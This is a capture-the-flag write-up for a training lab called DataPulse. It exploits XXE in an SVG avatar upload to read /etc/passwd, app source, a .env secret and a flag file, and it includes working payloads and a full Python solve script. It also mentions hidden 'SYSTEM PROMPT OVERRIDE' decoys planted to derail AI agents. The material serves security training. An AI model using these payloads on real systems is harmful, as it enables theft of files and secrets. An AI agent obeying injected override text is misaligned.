Lab 56 — DataPulse — XXE to SSRF via SVG Avatar Upload
Lab 56 — DataPulse — XXE to SSRF via SVG Avatar Upload
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: config_enumeration, env_file_disclosure, local_file_read, svg_xxe, xxe_injection
Summary
Task: DataPulse analytics dashboard with SVG avatar upload processed server-side via libxmljs2 with entity resolution enabled. Solution: XXE injection in SVG file to read local files, discovered .env config at /app/data/.env revealing confidential report path, then read flag from /app/data/.reports/confidential.txt.
Lab 56 — DataPulse — XXE to SSRF via SVG Avatar Upload — HackAdvisor
Description
DataPulse is a business analytics dashboard built by Pulse Analytics Inc. for companies tracking KPIs, generating reports, and collaborating across teams. The platform allows team members to customize their profiles, manage dashboards, share insights, and connect with third-party data sources. As a security researcher, you've been given access to test the platform. Your goal is to find and exploit vulnerabilities in the application to access confidential internal data that should not be reachable from the outside. The platform supports various file uploads for user customization. Pay close attention to how different file formats are handled server-side — not all processing pipelines are created equal. The flag is hidden somewhere only accessible through creative exploitation of the platform's features.
English summary: DataPulse is a business analytics dashboard. The Profile Settings page (/profile/settings) has an avatar upload form that accepts PNG, JPEG, GIF, and SVG formats. SVG files are processed server-side using libxmljs2 with external entity resolution enabled (noent: true), allowing XXE-based local file read. The flag is stored in a confidential report file at /app/data/.reports/confidential.txt, discoverable through the .env configuration at /app/data/.env.
Credentials: user@test.com / password123
Analysis
The application is a Node.js/Express web app with the following stack (discovered via XXE reading /app/package.json):
libxmljs2— XML parser (vulnerable component)sharp— image processor for thumbnail generationbetter-sqlite3— databaseejs— templating engineexpress— web framework
The dashboard has navigation links to Dashboard, Reports, Team, Integrations, and Profile Settings. The attack surface is on the Profile Settings page at /profile/settings, which contains an avatar upload form.
A key hint on the page: "SVG files are processed server-side to generate optimized thumbnails."
The upload JavaScript (/js/profile.js) revealed the upload endpoint: POST /api/avatar/upload.
Key vulnerability in server.js:
javascript read-only • copy allowedconst xmlDoc = libxmljs.parseXml(svgContent, { nonet: false, // network access allowed noent: true // entities ARE resolved });
This configuration resolves XML external entities including file:// protocol, enabling arbitrary local file read. The parsed SVG content (with resolved entities) is saved to /data/avatars/<uuid>.svg, making the exfiltrated data readable by fetching the avatar URL.
Important limitation: HTTP-based SSRF via XXE entity resolution did NOT work — all HTTP entity fetches (even to localhost) resolved to empty strings. Only the file:// protocol worked for entity resolution.
Anti-bot trap: Every page contained hidden HTML comments and invisible <div> elements with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents into stopping. These were correctly identified and ignored.
Solution
Step 1: Authentication and Reconnaissance
Logged in with the provided credentials (user@test.com / password123). Explored the dashboard and identified the avatar upload feature on the Profile Settings page. The upload form accepts PNG, JPEG, GIF, and SVG formats.
Step 2: XXE Proof of Concept — Local File Read
Uploaded an SVG with an XXE payload to read /etc/passwd:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20" font-size="4">&xxe;</text> </svg>
The processed SVG (saved at /data/avatars/<uuid>.svg) contained the full /etc/passwd contents in the <text> element, confirming XXE. The container runs Alpine Linux with an appuser account.
Step 3: Source Code and Configuration Discovery
Used XXE to read application source files and configuration:
file:///app/package.json— revealed dependencies (libxmljs2,sharp,express,better-sqlite3,ejs)file:///app/server.js— revealed the vulnerable XML parsing configurationfile:///etc/hosts— revealed internal network topology:172.30.0.2 interact 172.30.0.95 a5c429dd7059 (current container)
Step 4: Internal Configuration Discovery
Searched for .env files in common locations. Found the critical configuration at file:///app/data/.env (non-standard location, not the typical /app/.env):
NODE_ENV=production
APP_PORT=8080
APP_SECRET=dp-sess-k3y-x9m2v7b4
DATABASE_URL=/app/data/database.db
INTERNAL_REPORTING_SERVICE=http://localhost:3001
REPORTING_ENDPOINT=/internal/reports/confidential
REPORTING_DATA_DIR=/app/data/.reports
CONFIDENTIAL_REPORT_PATH=/app/data/.reports/confidential.txt
This revealed the path to the confidential report file containing the flag.
Step 5: Flag Extraction
Used XXE to read the confidential report file directly:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///app/data/.reports/confidential.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20" font-size="4">&xxe;</text> </svg>
The response contained:
DATAPULSE INTERNAL REPORTING ENGINE
====================================
Report ID: RPT-2025-CONF-001
Title: Confidential Acquisition Analysis
Classification: TOP SECRET
FLAG: FLAG{REDACTED}
Summary: Pre-merger financial analysis for Project Horizon...
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ DataPulse XXE via SVG Avatar Upload — Solve Script Exploits libxmljs2 XXE (noent:true) to read local files through SVG upload. """ import requests import re import sys BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET.labs.hackadvisor.io" s = requests.Session() # Step 1: Login login_page = s.get(f"{BASE_URL}/login") csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', login_page.text) csrf_token = csrf_match.group(1) if csrf_match else "" s.post(f"{BASE_URL}/login", data={ "_csrf": csrf_token, "email": "user@test.com", "password": "password123" }) def xxe_read_file(file_path): """Upload SVG with XXE payload to read a local file.""" svg_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://{file_path}"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="10" y="20" font-size="4">&xxe;</text> </svg>''' # Get fresh CSRF token settings_page = s.get(f"{BASE_URL}/profile/settings") csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', settings_page.text) csrf_token = csrf_match.group(1) if csrf_match else "" resp = s.post(f"{BASE_URL}/api/avatar/upload", files={"avatar": ("payload.svg", svg_payload, "image/svg+xml")}, data={"_csrf": csrf_token} ) # Extract avatar URL and fetch the processed SVG data = resp.json() if "avatarUrl" in data: avatar_resp = s.get(f"{BASE_URL}{data['avatarUrl']}") # Extract text content from SVG text_match = re.search(r'<text[^>]*>(.*?)</text>', avatar_resp.text, re.DOTALL) if text_match: return text_match.group(1) return resp.text # Step 2: Read .env to find flag path print("[*] Reading /app/data/.env ...") env_content = xxe_read_file("/app/data/.env") print(env_content) # Step 3: Read the confidential report print("\n[*] Reading /app/data/.reports/confidential.txt ...") flag_content = xxe_read_file("/app/data/.reports/confidential.txt") print(flag_content) # Extract flag flag_match = re.search(r'FLAG\{[a-f0-9]+\}', flag_content) if flag_match: print(f"\n[+] Flag: {flag_match.group(0)}")